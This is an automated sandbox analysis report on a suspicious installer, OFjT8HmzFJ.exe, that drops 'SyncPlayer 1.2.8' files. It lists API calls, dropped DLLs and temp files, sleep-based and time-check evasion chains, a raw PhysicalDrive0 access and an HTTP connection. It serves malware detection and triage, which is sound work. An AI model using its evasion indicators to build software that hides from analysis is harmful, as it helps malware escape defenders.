Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 2023

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00423B7C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423B7C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00423B7C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423B7C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0042414C IsIconic,SetActiveWindow,SetFocus,	1_2_0042414C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00424104 IsIconic,SetActiveWindow,	1_2_00424104
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004182F4 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	1_2_004182F4
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004227CC SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	1_2_004227CC
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0047E930 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	1_2_0047E930
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00417508 IsIconic,GetCapture,	1_2_00417508
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00417C40 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	1_2_00417C40
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00417C3E IsIconic,SetWindowPos,	1_2_00417C3E

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_0041F088 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

1_2_0041F088

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		2_2_00401B4B
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		2_2_02B4F9A7

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Window / User API: threadDelayed 2048			Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Window / User API: threadDelayed 7832			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\RecWin7.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-76H43.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-A1FNP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avutil-52.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-R8N4P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\cudaEncoderKernel.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-N0A7K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-ATOOC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-LN7FL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\xvidcore.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\swscale-2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-VL7LS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-E4LUD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-C25HO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\is-8817T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-DLH94.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\postproc-51.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ScreenHook.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avdevice-55.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\IntelHW.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CBP2N.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\CamCapture.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6CN68.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EDQQG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\utlis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\postproc-52.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\swresample-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-B8KUP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-P4C7K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-GN1VG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\TextDlg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-8AHH0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-AVN0V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ApngDecoder.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CMGGO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\InstallHelp.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\NvenCoderKernel.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1RRKJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Verify.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90u.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\pthreadGC2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-4FGVI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-GC27D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1R8O6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-UOUU3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\WaveRec.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\comctl32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\MagicSkin.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-F9AEL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\AudioResample.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ServiceCtrl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-O9SMK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\pthreadVC2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6UNEV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-JJ68A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ISTask.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EHN7D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcr90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-5FDD3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcp90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-S18VE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-HL5P4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-FCOF0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-T16J5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-RFD24.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90u.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcm90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-M4GIC.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-6442

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-18544

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe TID: 7108	Thread sleep count: 2048 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe TID: 7108	Thread sleep time: -4096000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe TID: 1892	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe TID: 1892	Thread sleep time: -3540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe TID: 7108	Thread sleep count: 7832 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe TID: 7108	Thread sleep time: -15664000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00471184 FindFirstFileA,FindNextFileA,FindClose,	1_2_00471184
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00451788 FindFirstFileA,GetLastError,	1_2_00451788
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004606EC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_004606EC
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00460B68 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00460B68
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0045F160 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045F160
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00493274 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_00493274

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

Code function: 0_2_00409A14 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

0_2_00409A14

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: is-E4LUD.tmp.1.dr	Binary or memory string: xvmcidct
Source: syncplayer32_64.exe, 00000002.00000002.2901352412.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, syncplayer32_64.exe, 00000002.00000002.2902441667.00000000033F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: is-E4LUD.tmp.1.dr	Binary or memory string: d->log2_chroma_h <= 3d->nb_components <= 4d->name && d->name[0](d->nb_components==4 \|\| d->nb_components==2) == !!(d->flags & (1 << 7))!c->plane && !c->step_minus1 && !c->offset_plus1 && !c->shift && !c->depth_minus1c->step_minus1 >= c->depth_minus18*(c->step_minus1+1) >= c->depth_minus1+1bayer_tmp[0] == 0 && tmp[1] == 0beyuv420pyuyv422rgb24bgr24yuv422pyuv444pyuv410pyuv411pgraymonowmonobpal8yuvj420pyuvj422pyuvj444pxvmcmcxvmcidctuyvy422uyyvyy411bgr8bgr4bgr4_bytergb8rgb4rgb4_bytenv12nv21argbabgrgray16begray16leyuv440pyuvj440pyuva420pvdpau_h264vdpau_mpeg1vdpau_mpeg2vdpau_wmv3vdpau_vc1rgb48bergb48lergb565bergb565lergb555bergb555lebgr565bebgr565lebgr555bebgr555levaapi_mocovaapi_idctvaapi_vldyuv420p16leyuv420p16beyuv422p16leyuv422p16beyuv444p16leyuv444p16bevdpau_mpeg4dxva2_vldrgb444lergb444bebgr444lebgr444begray8abgr48bebgr48leyuv420p9beyuv420p9leyuv420p10beyuv420p10leyuv422p10beyuv422p10leyuv444p9beyuv444p9leyuv444p10beyuv444p10leyuv422p9beyuv422p9levda_vldgbrpgbrp9begbrp9legbrp10begbrp10legbrp16begbrp16leyuva420p9beyuva420p9leyuva422p9beyuva422p9leyuva444p9beyuva444p9leyuva420p10beyuva420p10leyuva422p10beyuva422p10leyuva444p10beyuva444p10leyuva420p16beyuva420p16leyuva422p16beyuva422p16leyuva444p16beyuva444p16levdpauxyz12lexyz12benv16nv20lenv20beyvyu422vdargba64bergba64lebgra64bebgra64le0rgbrgb00bgrbgr0yuva444pyuva422pyuv420p12beyuv420p12leyuv420p14beyuv420p14leyuv422p12beyuv422p12leyuv422p14beyuv422p14leyuv444p12beyuv444p12leyuv444p14beyuv444p14legbrp12begbrp12legbrp14begbrp14legbrapgbrap16begbrap16leyuvj411pbayer_bggr8bayer_rggb8bayer_gbrg8bayer_grbg8bayer_bggr16lebayer_bggr16bebayer_rggb16lebayer_rggb16bebayer_gbrg16lebayer_gbrg16bebayer_grbg16lebayer_grbg16be

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	API call chain: ExitProcess graph end node	graph_0-6300
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	API call chain: ExitProcess graph end node	graph_2-18362
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	API call chain: ExitProcess graph end node	graph_2-18839

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

